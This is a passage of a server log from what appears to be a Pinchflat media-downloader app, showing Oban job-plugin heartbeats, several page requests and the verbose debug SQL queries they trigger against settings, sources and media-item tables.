{"source":"oban","duration":6928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:52.620 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.854 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:22.624 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:52.632 [info] {"source":"oban","duration":3503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.857 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:22.636 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:52.649 [info] {"source":"oban","duration":2415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.859 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:22.652 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:52.655 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.861 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:22.666 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:52.671 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.862 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:22.674 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:52.677 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.863 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:22.693 [info] {"source":"oban","duration":5816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:52.696 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.875 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:22.703 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:41.644 [info] GET / 00:07:41.645 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:07:41.652 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1727.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:41.655 [debug] QUERY OK source="media_profiles" db=2.5ms queue=0.1ms idle=1556.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:07:41.656 [debug] QUERY OK source="sources" db=0.5ms idle=736.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:07:41.660 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=737.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:07:41.661 [debug] QUERY OK source="media_items" db=0.7ms idle=561.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:07:41.663 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=16.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:41.664 [debug] QUERY OK source="settings" db=0.2ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:41.665 [debug] QUERY OK source="settings" db=0.2ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:41.668 [debug] QUERY OK source="tasks" db=0.5ms idle=7.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:07:41.673 [debug] QUERY OK source="media_items" db=0.5ms idle=11.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:07:41.674 [debug] QUERY OK source="media_items" db=0.6ms idle=9.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:07:41.675 [debug] QUERY OK source="sources" db=0.4ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 00:07:41.744 [debug] QUERY OK source="media_items" db=66.6ms idle=12.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:07:41.746 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=76.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:07:41.746 [debug] QUERY OK source="sources" db=0.1ms idle=73.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:07:41.748 [info] Sent 200 in 103ms 00:07:52.705 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.879 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:22.708 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:52.722 [info] {"source":"oban","duration":4451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.882 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:22.724 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:45.981 [info] GET /settings 00:09:45.981 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 00:09:45.984 [debug] QUERY OK source="settings" db=0.4ms idle=1787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:09:45.985 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1791.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:09:45.986 [debug] QUERY OK source="settings" db=0.1ms idle=1791.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:09:45.986 [debug] QUERY OK source="settings" db=0.1ms idle=1376.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:09:45.991 [info] Sent 200 in 10ms 00:09:52.727 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.884 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:22.730 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:52.732 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.886 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:22.734 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:52.742 [info] {"source":"oban","duration":3217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:55.222 [info] GET /sources/7/media/14035 00:11:55.223 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14035", "source_id" => "7"} Pipelines: [:browser] 00:11:55.230 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=733.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 00:11:55.236 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=740.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:11:55.236 [debug] QUERY OK source="tasks" db=4.1ms queue=0.6ms idle=740.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14035] 00:11:55.238 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=745.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2328] 00:11:55.241 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=87.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:55.242 [debug] QUERY OK source="settings" db=0.3ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:55.244 [debug] QUERY OK source="settings" db=0.2ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:55.248 [debug] QUERY OK source="media_profiles" db=0.2ms queue=1.3ms idle=9.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:11:55.254 [info] Sent 200 in 32ms 00:12:00.895 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:22.748 [info] {"source":"oban","duration":2808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:37.658 [info] GET /sources/2 00:12:37.658 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 00:12:37.660 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1082.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:12:37.661 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1083.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:12:37.666 [debug] QUERY OK source="tasks" db=4.4ms idle=1084.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 00:12:37.666 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1089.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 00:12:37.667 [debug] QUERY OK source="settings" db=0.1ms idle=337.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:12:37.668 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:12:37.668 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:12:37.670 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:12:37.672 [debug] QUERY OK source="media_items" db=1.1ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:12:37.673 [debug] QUERY OK source="media_items" db=0.8ms idle=5.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:12:37.674 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:12:37.677 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 00:12:37.688 [debug] QUERY OK source="media_items" db=10.4ms idle=6.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:12:37.689 [debug] QUERY OK source="sources" db=0.2ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:12:37.690 [debug] QUERY OK source="media_items" db=0.3ms idle=16.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 00:12:37.691 [debug] QUERY OK source="media_items" db=0.7ms idle=15.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT 